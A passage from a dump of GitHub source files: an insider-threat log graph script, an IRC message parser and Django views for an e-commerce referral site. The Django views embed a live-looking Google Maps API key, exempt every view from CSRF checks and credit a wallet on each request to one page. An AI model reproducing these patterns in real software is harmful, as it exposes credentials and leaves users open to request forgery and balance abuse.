23:35:42\", r\"../our_data/r5.1_test\",\n # row_type[csv_name])\n G = graph()\n for csv_name in row_type:\n edge_list = prase_csv(csv_name,dir_path,row_type[csv_name])\n G.add_edges(init_edge(edge_list,csv_name))\n print('number of nodes', G.graph.number_of_nodes())\n print('number of edges', G.graph.number_of_edges())\n nx.write_edgelist(G.graph, \"../our_data/graph_edge_list2\")\n nx.write_gpickle(G.graph, \"../our_data/graph.gpickle2\")\n\n\n\n# with open(os.path.join(dir_path, \"http.csv\"), 'r') as file:\n# print(\"...logon.csv...\")\n# # id,date,user,pc,activity\n# # {Q4D5-W4HH44UC-5188LWZK},01/02/2010 02:24:51,JBI1134,PC-0168,Logon\n# # {G7V0-S4TP95SA-9203AOGR},01/02/2010 02:38:28,JBI1134,PC-0168,Logoff\n# read = csv.reader(file)\n# next(read)\n# start_time = datetime.datetime.strptime('08/02/2010 10:34:31','%m/%d/%Y %H:%M:%S')\n# end_time = datetime.datetime.strptime('09/30/2010 15:04:03','%m/%d/%Y %H:%M:%S')\n# for i in tqdm(read):\n# i[1] = datetime.datetime.strptime(i[1],'%m/%d/%Y %H:%M:%S')\n# if i[2] == \"CCH0959\" and start_time <= i[1] and i[1] <= end_time:\n# print(i)\n\n\n","repo_name":"GEORGE0511/mstne_insider","sub_path":"mstne_insider/csv_io/read_csv.py","file_name":"read_csv.py","file_ext":"py","file_size_in_byte":5331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43551784948","text":"import re\nimport string\n\ndef parse_irc_message(line, can_have_prefix=True):\n \"\"\"Parses an IRC message, returns a tuple containing the prefix (if\n any, None otherwise), the command and a list containing the arguments\"\"\"\n\n tokens = line.split(' ')\n\n prefix = None\n args = []\n \n first = True\n last = False\n last_arg = None\n \n for token in tokens:\n if first and len(token) > 0 and token[0] == ':' and can_have_prefix:\n token = token[1:]\n prefix = token\n first = False\n\n continue\n \n first = False\n\n if not last and len(token) > 0 and token[0] == ':':\n token = token[1:]\n last = True\n\n first = False\n\n if not last:\n args.append(token)\n continue\n \n if last_arg == None:\n last_arg = token\n else:\n last_arg = \"%s %s\" % (last_arg, token)\n \n if last_arg:\n args.append(last_arg)\n \n command = None\n\n if len(args) > 0:\n command = args[0]\n args = args[1:]\n\n return prefix, command, args\n\n_hostmask_regex = re.compile('^(.*)!(.*)@(.*)$')\n\ndef format_irc_message(command, *parameter_list, **prefix):\n params = list(parameter_list)\n\n message = ''\n\n if 'prefix' in prefix and prefix['prefix'] != None:\n message = ':' + str(prefix['prefix']) + ' '\n\n message = message + command\n\n if len(params) > 0:\n if len(params[-1]) > 0:\n params[-1] = ':' + params[-1]\n\n message = message + ' ' + string.join(params)\n\n return message\n\ndef parse_hostmask(hostmask):\n \"\"\"Parses a hostmask. Returns a tuple containing the nickname,\n username and hostname.\"\"\"\n if isinstance(hostmask, dict):\n return hostmask\n\n nick = None\n user = None\n host = None\n \n if hostmask != None:\n match = _hostmask_regex.match(hostmask)\n \n if not match:\n nick = hostmask\n else:\n nick = match.group(1)\n user = match.group(2)\n host = match.group(3)\n\n return {\n 'nick': nick,\n 'user': user,\n 'host': host\n }\n\n_nickmodes_regex = re.compile('^\\((.*?)\\)(.*?)$')\n\ndef prefix_to_mode(prefixes, prefix):\n if prefix == '':\n return None\n \n match = _nickmodes_regex.match(prefixes)\n \n if not match:\n return None\n \n index = match.group(2).find(prefix)\n \n if index == -1:\n return None\n \n return match.group(1)[index]\n\ndef mode_to_prefix(prefixes, mode):\n if mode == '':\n return None\n \n match = _nickmodes_regex.match(prefixes)\n \n if not match:\n return None\n \n index = match.group(1).find(mode)\n \n if index == -1:\n return None\n \n return match.group(2)[index]\n","repo_name":"gunnarbeutner/sbncng","sub_path":"src/sbnc/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"18959433662","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate,login,logout\nfrom django.http import JsonResponse\nimport geocoder\nimport googlemaps\nfrom geopy.geocoders import Nominatim\nfrom geopy.distance import geodesic\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.core.mail import EmailMessage\nfrom django.http import HttpResponse\nfrom vendor_app.models import *\nfrom admin_app.models import *\nfrom user_app.models import *\nfrom main_app.models import *\nimport uuid\nfrom main_app.utils import *\nfrom main_app.mlm_utils import *\nfrom main_app.level_plan_utils import *\nfrom user_app.utils import *\nfrom main_app.views import send_otp\n\nfrom .forms import UserData_Form,PaymentInfo_Form\n\n@csrf_exempt\ndef create_user(request):\n\temail = request.POST.get('email')\n\tpassword = request.POST.get('password')\n\tif User.objects.filter(email=email).exists():\n\t\tuser = User.objects.get(email=email)\n\t\tmessages.info(request,'User Already Exists')\n\t\t# return HttpResponse('Error : User Already Registered')\n\t\treturn send_otp(request, 'User', user)\n\n\telse:\n\t\t#User.objects.create_user(email,email,password)\n\t\tUser.objects.create_user(email = email, username= email, password =password)\n\t\tuser = User.objects.get(email=email)\n\t\tRole(user=user, level=Levels.objects.get(level='User')).save()\n\t\tfirst_name = request.POST.get('first_name')\n\t\tlast_name = request.POST.get('last_name')\n\t\tgender = request.POST.get('gender')\n\t\tphone = request.POST.get('phone')\n\t\t# question = request.POST.get('question')\n\t\t# answer = request.POST.get('answer')\n\t\tzipcode = request.POST.get('zipcode')\n\t\taddress = request.POST.get('adrs')\n\t\tgmaps = googlemaps.Client(key='AIzaSyBqBF76cMbvE_LREvm1S43LzZGxTsRQ0wA')\n\t\tif address:\n\t\t\tadd_lat_long = gmaps.geocode(address)\n\t\t\tlat = add_lat_long[0]['geometry']['location']['lat']\n\t\t\tlng = add_lat_long[0]['geometry']['location']['lng']\n\t\t\t# lat = 28.7983\n\t\t\t# lng = 79.0220\n\t\t\tUserData.objects.create(\n\t\t\t\tuser = user,\n\t\t\t\tfirst_name = first_name,\n\t\t\t\tlast_name = last_name,\n\t\t\t\tphone = phone,\n\t\t\t\taddress = address,\n\t\t\t\tzipcode = zipcode,\n\t\t\t\tlatitude = lat,\n\t\t\t\tlongitude = lng,\n\t\t\t\tgender = gender,\n\t\t\t\t\n\t\t\t\t# question = question,\n\t\t\t\t# answer = answer\n\t\t\t)\n\t\t\treturn send_otp(request, 'User', user)\n@csrf_exempt\ndef user_dashboard(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif not Wallet.objects.filter(user=request.user).exists():\n\t\t\tWallet.objects.create(user=request.user)\n\t\treferal_obj = Level_Plan_Referrals.objects.filter(referrals__id=request.user.id).first()\n\t\treferals = Level_Plan_Referrals.objects.filter(level_plan_referral=referal_obj)\n\t\tdic = {\n\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t'tree':fetch_empty_nodes(request.user),\n\t\t\t'referrals':referals,\n\t\t\t'pv':fetch_pv(request.user),\n\t\t\t'wallet':Wallet.objects.filter(user=request.user).first(),\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\n\t\treturn render(request, 'user_app/dashboard.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n@csrf_exempt\ndef user_create_link(request):\n\tif check_user_authentication(request, 'User'):\n\t\treferal_obj = Level_Plan_Referrals.objects.filter(referrals__id=request.user.id).first()\n\t\treferals = Level_Plan_Referrals.objects.filter(level_plan_referral=referal_obj)\n\t\tflag = False\n\t\ttry:\n\t\t\tmlm = MLM.objects.get(node=request.user)\n\t\t\t\n\t\t\tif mlm.left == None or mlm.right == None:\n\t\t\t\tflag = True\n\t\texcept MLM.DoesNotExist:\n\t\t\tuser = None\n\t\tdic = {\n\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t'flag':flag,\n\t\t\t'referal':referals,\n\t\t\t'tree':fetch_empty_nodess(request.user),\n\t\t\t\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=True))\n\t\t}\n\t\ttree=fetch_empty_nodess(request.user)\n\t\tprint(tree,'TTTTTTTTTTTTT')\n\t\treturn render(request, 'user_app/create-link.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n\n\n@csrf_exempt\ndef user_generate_link_left(request):\n\tif check_user_authentication(request, 'User'):\n\t\tdata = {'link':generate_link(request.user, 'User','left')}\n\t\treturn JsonResponse(data)\n\telse:\n\t\treturn JsonResponse({'response':'Error'})\n@csrf_exempt\ndef user_generate_link_right(request):\n\tif check_user_authentication(request, 'User'):\n\t\tdata = {'link':generate_link(request.user, 'User','right')}\n\t\treturn JsonResponse(data)\n\telse:\n\t\treturn JsonResponse({'response':'Error'})\n@csrf_exempt\ndef user_generate_link_2_left(request):\n\tif check_user_authentication(request, 'User'):\n\t\tuser = User.objects.get(id=request.GET.get('user'))\n\t\tdata = {'link':generate_link(user, 'User','left')}\n\t\treturn JsonResponse(data)\n\telse:\n\t\treturn JsonResponse({'response':'Error'})\n@csrf_exempt\ndef user_generate_link_2_right(request):\n\tif check_user_authentication(request, 'User'):\n\t\tuser = User.objects.get(id=request.GET.get('user'))\n\t\tdata = {'link':generate_link(user, 'User','right')}\n\t\treturn JsonResponse(data)\n\telse:\n\t\treturn JsonResponse({'response':'Error'})\n\n\n@csrf_exempt\ndef direct_referal(request):\n\tif check_user_authentication(request, 'User'):\n\t\tflag = False\n\t\treferal_pv = 0\n\t\tmlm = MLM.objects.filter(parent=request.user)\n\t\tmlm = []\n\t\tfor i in MLM.objects.filter(parent=request.user):\n\t\t\tmlm.append(i)\n\t\tuser_data = []\n\t\tfor i in mlm:\n\t\t\tuser_data.append({i:UserData.objects.get(user__username=i).pv})\n\t\tfor i in mlm:\n\t\t\tif UserData.objects.filter(user__username=i):\n\t\t\t\treferal_pv = referal_pv + UserData.objects.get(user__username=i).pv\n\t\tredeem_amount = referal_pv*(DirectReferalCommission.objects.all()[0].percentage/100)\n\t\tdic = {\n\t\t\t'mlm':MLM.objects.filter(parent=request.user),\n\t\t\t'user_data':user_data,\n\t\t\t'flag':flag,\n\t\t\t'redeem_amount':redeem_amount,\n\t\t\t'referal_pv':referal_pv,\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=True))\n\t\t}\n\t\treturn render(request, 'user_app/direct_referal.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n\n@csrf_exempt\ndef referal_transaction(request):\n\tif check_user_authentication(request, 'User'):\n\t\tflag = False\n\t\treferal_pv = 0\n\t\tmlm = MLM.objects.filter(parent=request.user)\n\t\tmlm = []\n\t\tfor i in MLM.objects.filter(parent=request.user):\n\t\t\tmlm.append(i)\n\t\tuser_data = []\n\t\tprint(mlm)\n\t\tfor i in mlm:\n\t\t\tuser_data.append({i:UserData.objects.get(user__username=i).pv})\n\t\tfor i in mlm:\n\t\t\tif UserData.objects.filter(user__username=i):\n\t\t\t\treferal_pv = referal_pv + UserData.objects.get(user__username=i).pv\n\t\tredeem_amount = referal_pv*(DirectReferalCommission.objects.all()[0].percentage/100)\n\t\tprint(redeem_amount)\n\t\tmake_wallet_transaction(request.user, redeem_amount, 'CREDIT')\n\t\tdic = {\n\t\t\t'mlm':MLM.objects.filter(parent=request.user),\n\t\t\t'user_data':user_data,\n\t\t\t'flag':flag,\n\t\t\t'redeem_amount':redeem_amount,\n\t\t\t'referal_pv':referal_pv,\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=True))\n\t\t}\n\t\treturn render(request, 'user_app/direct_referal.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n\n\n\n\n\n@csrf_exempt\ndef user_add_to_cart(request):\n\tprint('=====user')\n\tif check_user_authentication(request, 'User'):\n\t\tprint(request.user)\n\t\tvariants = request.POST.getlist('variants[]')\n\t\tquantity = request.POST.get('quantity')\n\t\tproduct = Product.objects.get(id=request.POST.get('product'))\n\t\tprint(product)\n\t\tflag = True\n\t\tprint(product.stock)\n\t\tif product.stock >= int(quantity):\n\t\t\tprint('hellllo')\n\t\t\tif True:\n\t\t\t\t\tprint(\"fggd\")\n\t\t\t\t\n\t\t\t\t\tif Cart.objects.filter(user=request.user).exists():\n\t\t\t\t\t\tprint(\"bjhbjhgjh\")\n\t\t\t\t\t\tcart = Cart.objects.get(user=request.user)\n\t\t\t\t\t\tallow = True\n\t\t\t\t\t\tfor x in CartItems.objects.filter(cart=cart):\n\t\t\t\t\t\t\tprint(\"jhvghvgf\")\n\t\t\t\t\t\t\tif x.product.store == product.store:\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tallow = True\n\t\t\t\t\t\t\t\tprint(allow)\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tallow = False\n\t\t\t\t\t\t\t\tprint(allow)\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tif allow:\n\t\t\t\t\t\t\tprint(\"jhvhfty\")\n\t\t\t\t\t\t\tvariant_matched = False\n\t\t\t\t\t\t\titem = ''\n\t\t\t\t\t\t\tfor items in CartItems.objects.filter(cart=cart, product=product):\n\t\t\t\t\t\t\t\tcart_variants = []\n\t\t\t\t\t\t\t\tprint(cart_variants,\"cart_variants\")\n\t\t\t\t\t\t\t\tfor x in CartItemVariant.objects.filter(cartitem=items):\n\t\t\t\t\t\t\t\t\tprint(\"cccccc\",x)\n\t\t\t\t\t\t\t\t\tcart_variants.append(str(x.product_variant.id))\n\t\t\t\t\t\t\t\tif variants == cart_variants:\n\t\t\t\t\t\t\t\t\tvariant_matched = True\n\t\t\t\t\t\t\t\t\titem = items\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tif variant_matched:\n\t\t\t\t\t\t\t\tnew_quantity = int(quantity) + item.quantity\n\t\t\t\t\t\t\t\tprint(new_quantity,'hhhhhhhhhhhhhhhh')\n\t\t\t\t\t\t\t\tif new_quantity > product.stock:\n\t\t\t\t\t\t\t\t\tnew_quantity = product.stock\n\t\t\t\t\t\t\t\tprice = item.product.price\n\t\t\t\t\t\t\t\ttotal_price = item.product.price * new_quantity\n\t\t\t\t\t\t\t\tCartItems.objects.filter(id=item.id).update(\n\t\t\t\t\t\t\t\t\tquantity = new_quantity,\n\t\t\t\t\t\t\t\t\tper_item_cost = price,\n\t\t\t\t\t\t\t\t\ttotal_cost = total_price\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tsubtotal = cart.subtotal + (int(quantity)*item.product.price)\n\t\t\t\t\t\t\t\tCart.objects.filter(user=request.user).update(subtotal=subtotal)\n\t\t\t\t\t\t\t\tcalculate_cart_tax(request)\n\t\t\t\t\t\t\t\treturn JsonResponse({'response':'product already in cart !', 'cart_len':get_cart_len(request)})\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tif int(quantity) > product.stock:\n\t\t\t\t\t\t\t\t\tquantity = product.stock\n\t\t\t\t\t\t\t\titem = CartItems.objects.create(\n\t\t\t\t\t\t\t\t\t\tcart = cart,\n\t\t\t\t\t\t\t\t\t\tproduct = product,\n\t\t\t\t\t\t\t\t\t\tquantity = quantity,\n\t\t\t\t\t\t\t\t\t\tper_item_cost = product.price,\n\t\t\t\t\t\t\t\t\t\ttotal_cost = product.price*int(quantity)\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tfor x in variants:\n\t\t\t\t\t\t\t\t\tprint(\"xxxxx\",x)\n\t\t\t\t\t\t\t\t\tCartItemVariant.objects.create(cart=cart, cartitem=item, product_variant=ProductVariant.objects.get(id=x))\n\t\t\t\t\t\t\t\tsubtotal = cart.subtotal + (int(quantity)*product.price)\n\t\t\t\t\t\t\t\tCart.objects.filter(user=request.user).update(subtotal=subtotal)\n\t\t\t\t\t\t\t\tprint(\"prining here\")\n\t\t\t\t\t\t\t\tprint(subtotal)\n\t\t\t\t\t\t\t\tcalculate_cart_tax(request)\n\t\t\t\t\t\t\t\treturn JsonResponse({'response':'product added successfully !', 'cart_len':get_cart_len(request)})\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t# if int(quantity) > product.stock:\n\t\t\t\t\t\t\t# \tquantity = product.stock\n\t\t\t\t\t\t\t# print(quantity)\n\t\t\t\t\t\t\t# item = CartItems.objects.create(\n\t\t\t\t\t\t\t# \tcart = cart,\n\t\t\t\t\t\t\t# \tproduct = product,\n\t\t\t\t\t\t\t# \tquantity = quantity,\n\t\t\t\t\t\t\t# \tper_item_cost = product.price,\n\t\t\t\t\t\t\t# \ttotal_cost = product.price*int(quantity)\n\t\t\t\t\t\t\t# )\n\t\t\t\t\t\t\t# print(item,'iiiiiiiiiiiiiiiii')\n\t\t\t\t\t\t\t# for x in variants:\n\t\t\t\t\t\t\t# \tprint(\"xxxxx\",x)\n\t\t\t\t\t\t\t# \tCartItemVariant.objects.create(cart=cart, cartitem=item, product_variant=ProductVariant.objects.get(id=x))\n\t\t\t\t\t\t\t# subtotal = cart.subtotal + (int(quantity)*product.price)\n\t\t\t\t\t\t\t# Cart.objects.filter(user=request.user).update(subtotal=subtotal)\n\t\t\t\t\t\t\t# print(\"prining here\")\n\t\t\t\t\t\t\t# print(subtotal)\n\t\t\t\t\t\t\t# calculate_cart_tax(request)\n\t\t\t\t\t\t\tmessages.info(request, 'Add Product from same store.')\n\t\t\t\t\t\t\tprint(\"==================>Add Product from same store\")\n\t\t\t\t\t\t\treturn JsonResponse({'response': 'Add Product from same store !'})\n\t\t\t\t\t\treturn render(request, 'usertemplate/index.html')\n\t\t\t\t\t\t# else:\n\t\t\t\t\t\t# \treturn JsonResponse({'response':'failed2', 'cart_len':get_cart_len(request)})\n\t\t\t\t\telse:\n\t\t\t\t\t\tif int(quantity) > product.stock:\n\t\t\t\t\t\t\t\tquantity = product.stock\n\t\t\t\t\t\tcart = Cart.objects.create(user=request.user)\n\t\t\t\t\t\ttotal = product.price*int(quantity)\n\t\t\t\t\t\titem = CartItems.objects.create(\n\t\t\t\t\t\t\tcart = Cart.objects.get(user=request.user),\n\t\t\t\t\t\t\tproduct = product,\n\t\t\t\t\t\t\tquantity = quantity,\n\t\t\t\t\t\t\tper_item_cost = product.price,\n\t\t\t\t\t\t\ttotal_cost = total\n\t\t\t\t\t\t)\n\t\t\t\t\t\tfor x in variants:\n\t\t\t\t\t\t\tprint(\"rerwe\", x)\n\t\t\t\t\t\t\tCartItemVariant.objects.create(cart=cart, cartitem=item, product_variant=ProductVariant.objects.get(id=x))\n\t\t\t\t\t\tCart.objects.filter(user=request.user).update(subtotal=total)\t\n\t\t\t\t\t\tcalculate_cart_tax(request)\n\t\t\t\t\t\treturn JsonResponse({'response':'success', 'cart_len':get_cart_len(request)})\n\t\treturn JsonResponse({'response':'failed'})\n\telse:\n\t\treturn JsonResponse({'response': 'Login to continue'})\n\t\tprint('jello')\n\t\treturn render(request, '403.html')\n\n# wishlist\n@csrf_exempt\ndef add_to_wishlist(request):\n\tif check_user_authentication(request, 'User'):\n\t\tvariants = request.POST.getlist('variants[]')\n\t\tquantity = request.POST.get('quantity')\n\t\tproduct = Product.objects.get(id=request.POST.get('product'))\n\t\tprint(product)\n\t\tflag = True\n\t\tif product.stock >= int(quantity):\n\t\t\tif True:\n\t\t\t\t\tprint(\"fggd\")\n\t\t\t\t\n\t\t\t\t\tif Wishlist.objects.filter(user=request.user).exists():\n\t\t\t\t\t\tprint(\"bjhbjhgjh\")\n\t\t\t\t\t\twishlist = Wishlist.objects.get(user=request.user)\n\t\t\t\t\t\tallow = True\n\t\t\t\t\t\tfor x in WishlistItems.objects.filter(wishlist=wishlist):\n\t\t\t\t\t\t\tprint(\"jhvghvgf\")\n\t\t\t\t\t\t\tif x.product.store == product.store:\n\t\t\t\t\t\t\t\tallow = True\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tallow = False\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tif allow:\n\t\t\t\t\t\t\tprint(\"jhvhfty\")\n\t\t\t\t\t\t\tvariant_matched = False\n\t\t\t\t\t\t\titem = ''\n\t\t\t\t\t\t\tprint(item)\n\t\t\t\t\t\t\tfor items in WishlistItems.objects.filter(wishlist=wishlist, product=product):\n\t\t\t\t\t\t\t\twishlist_variants = []\n\t\t\t\t\t\t\t\tprint(wishlist_variants,\"wishlist_variants\")\n\t\t\t\t\t\t\t\tfor x in WishlistItemVariant.objects.filter(wishlistitem=items):\n\t\t\t\t\t\t\t\t\tprint(\"cccccc\",x)\n\t\t\t\t\t\t\t\t\twishlist_variants.append(str(x.product_variant.id))\n\t\t\t\t\t\t\t\tif variants == wishlist_variants:\n\t\t\t\t\t\t\t\t\tvariant_matched = True\n\t\t\t\t\t\t\t\t\titem = items\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tif variant_matched:\n\t\t\t\t\t\t\t\tnew_quantity = int(quantity) + item.quantity\n\t\t\t\t\t\t\t\tif new_quantity > product.stock:\n\t\t\t\t\t\t\t\t\tnew_quantity = product.stock\n\t\t\t\t\t\t\t\tprice = item.product.price\n\t\t\t\t\t\t\t\tprint(price,'KKKKKKKKKKKK')\n\t\t\t\t\t\t\t\ttotal_price = item.product.price * new_quantity\n\t\t\t\t\t\t\t\tWishlistItems.objects.filter(id=item.id).update(\n\t\t\t\t\t\t\t\t\tquantity = new_quantity,\n\t\t\t\t\t\t\t\t\tper_item_cost = price,\n\t\t\t\t\t\t\t\t\ttotal_cost = total_price\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tsubtotal = wishlist.subtotal + (int(quantity)*item.product.price)\n\t\t\t\t\t\t\t\tWishlist.objects.filter(user=request.user).update(subtotal=subtotal)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tif int(quantity) > product.stock:\n\t\t\t\t\t\t\t\t\tquantity = product.stock\n\t\t\t\t\t\t\t\titem = WishlistItems.objects.create(\n\t\t\t\t\t\t\t\t\twishlist = wishlist,\n\t\t\t\t\t\t\t\t\tproduct = product,\n\t\t\t\t\t\t\t\t\tquantity = quantity,\n\t\t\t\t\t\t\t\t\tper_item_cost = product.price,\n\t\t\t\t\t\t\t\t\ttotal_cost = product.price*int(quantity)\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\tfor x in variants:\n\t\t\t\t\t\t\t\t\tprint(\"xxxxx\",x)\n\t\t\t\t\t\t\t\t\tWishlistItemVariant.objects.create(wishlist=wishlist, wishlistitem=item, product_variant=ProductVariant.objects.get(id=x))\n\t\t\t\t\t\t\t\tsubtotal = wishlist.subtotal + (int(quantity)*product.price)\n\t\t\t\t\t\t\t\tWishlist.objects.filter(user=request.user).update(subtotal=subtotal)\n\t\t\t\t\t\t\t\tprint(\"prining here\")\n\t\t\t\t\t\t\t\tprint(subtotal)\n\t\t\t\t\t\t\t\t# calculate_wishlist_tax(request)\n\t\t\t\t\t\t\t\treturn JsonResponse({'response':'success', 'wishlist_len':get_wishlist_len(request)})\n\t\t\t\t\t\t\t\t# calculate_wishlist_tax(request)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif int(quantity) > product.stock:\n\t\t\t\t\t\t\t\tquantity = product.stock\n\t\t\t\t\t\t\titem = WishlistItems.objects.create(\n\t\t\t\t\t\t\t\twishlist = wishlist,\n\t\t\t\t\t\t\t\tproduct = product,\n\t\t\t\t\t\t\t\tquantity = quantity,\n\t\t\t\t\t\t\t\tper_item_cost = product.price,\n\t\t\t\t\t\t\t\ttotal_cost = product.price*int(quantity)\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\tfor x in variants:\n\t\t\t\t\t\t\t\tprint(\"xxxxx\",x)\n\t\t\t\t\t\t\t\tWishlistItemVariant.objects.create(wishlist=wishlist, wishlistitem=item, product_variant=ProductVariant.objects.get(id=x))\n\t\t\t\t\t\t\tsubtotal = wishlist.subtotal + (int(quantity)*product.price)\n\t\t\t\t\t\t\tWishlist.objects.filter(user=request.user).update(subtotal=subtotal)\n\t\t\t\t\t\t\tprint(\"prining here\")\n\t\t\t\t\t\t\tprint(subtotal)\n\t\t\t\t\t\t\t# calculate_wishlist_tax(request)\n\t\t\t\t\t\treturn JsonResponse({'response':'success', 'wishlist_len':get_wishlist_len(request)})\n\t\t\t\t\t\t# else:\n\t\t\t\t\t\t# \treturn JsonResponse({'response':'failed2', 'wishlist_len':get_wishlist_len(request)})\n\t\t\t\t\telse:\n\t\t\t\t\t\tif int(quantity) > product.stock:\n\t\t\t\t\t\t\t\tquantity = product.stock\n\t\t\t\t\t\twishlist = Wishlist.objects.create(user=request.user)\n\t\t\t\t\t\ttotal = product.price*int(quantity)\n\t\t\t\t\t\titem = WishlistItems.objects.create(\n\t\t\t\t\t\t\twishlist = Wishlist.objects.get(user=request.user),\n\t\t\t\t\t\t\tproduct = product,\n\t\t\t\t\t\t\tquantity = quantity,\n\t\t\t\t\t\t\tper_item_cost = product.price,\n\t\t\t\t\t\t\ttotal_cost = total\n\t\t\t\t\t\t)\n\t\t\t\t\t\tfor x in variants:\n\t\t\t\t\t\t\tprint(\"rerwe\", x)\n\t\t\t\t\t\t\tWItemVariant.objects.create(wishlist=wishlist, wishlistitem=item, product_variant=ProductVariant.objects.get(id=x))\n\t\t\t\t\t\tWishlist.objects.filter(user=request.user).update(subtotal=total)\n\t\t\t\t\t\t# calculate_wishlist_tax(request)\n\t\t\t\t\t\treturn JsonResponse({'response':'success', 'wishlist_len':get_wishlist_len(request)})\n\t\treturn JsonResponse({'response':'failed'})\n\telse:\n\t\treturn JsonResponse({'response': 'Login to continue'})\n\t\treturn render(request, '403.html')\n@csrf_exempt\ndef user_wishlist(request):\n\tif check_user_authentication(request, 'User'):\n\t\tcategories = ProductCategory.objects.all()\n\t\tif Wishlist.objects.filter(user=request.user).exists():\n\t\t\tdic = get_wishlist_items(request)\n\t\t\tif len(WishlistItems.objects.filter(wishlist=Wishlist.objects.get(user=request.user))) == 0:\n\t\t\t\tempty = True\n\t\t\telse:\n\t\t\t\tempty = False\n\t\t\tstock_out = False\n\t\t\tfor x in dic['items']:\n\t\t\t\tif x['stock_out']:\n\t\t\t\t\tstock_out = True\n\t\t\t\t\tbreak\n\t\t\tdic.update({'empty':empty, 'stock_out':stock_out})\n\t\t\tdic.update(get_cart_len(request))\n\t\t\tdic.update({\n\t\t\t\t 'contact_us':contact_us.objects.all()[0],\n\t\t\t\t\t\t'categories':categories,\n\t\t\t\t\t\t'notification':get_notifications(request.user),\n\t\t\t\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t\t\t\t})\n\t\t\treturn render(request, 'usertemplate/wishlist.html', dic)\n\t\telse:\n\t\t\tdic = {'empty':True}\n\t\t\tdic.update(get_dic(request))\n\t\t\tdic.update(get_cart_len(request))\n\t\t\tdic.update({\n\t\t\t\t\t\t\t'categories':categories,\n\t\t\t\t\t\t'notification':get_notifications(request.user),\n\t\t\t\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t\t\t\t})\n\t\t\treturn render(request, 'usertemplate/wishlist.html', dic)\n\telse:\n\t\t\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n\n\n@csrf_exempt\ndef user_cart(request):\n\tif check_user_authentication(request, 'User'):\n\t\tcategories = ProductCategory.objects.all()\n\t\tif Cart.objects.filter(user=request.user).exists():\n\t\t\tdic = get_cart_items(request)\n\t\t\tif len(CartItems.objects.filter(cart=Cart.objects.get(user=request.user))) == 0:\n\t\t\t\tempty = True\n\t\t\telse:\n\t\t\t\tempty = False\n\t\t\tstock_out = False\n\t\t\tfor x in dic['items']:\n\t\t\t\tif x['stock_out']:\n\t\t\t\t\tstock_out = True\n\t\t\t\t\tbreak\n\t\t\tdic.update({'empty':empty, 'stock_out':stock_out})\n\t\t\tdic.update({\n\t\t\t\t'categories':categories,\n\t\t\t\t# 'notification':get_notifications(request.user),\n\t\t\t\t# 'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t\t\t})\n\t\t\tdic.update(get_wishlist_len(request))\n\t\t\tprint(dic)\n\t\t\treturn render(request, 'usertemplate/cart.html', dic)\n\t\telse:\n\t\t\tdic = {'empty':True}\n\t\t\tdic.update(get_dic(request))\n\t\t\tdic.update({\n\t\t\t\t'contact_us':contact_us.objects.all()[0],\n\t\t\t\t'categories':categories,\n\t\t\t\t'wish_len':get_wishlist_len(request),\n\t\t\t\t'notification':get_notifications(request.user),\n\t\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t\t\t})\n\t\t\treturn render(request, 'usertemplate/cart.html', dic)\n\telse:\n\t\t\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

